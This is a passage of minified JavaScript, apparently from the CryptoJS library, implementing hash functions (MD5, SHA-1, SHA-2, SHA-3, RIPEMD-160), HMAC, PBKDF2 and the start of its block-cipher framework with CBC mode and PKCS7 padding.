i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); 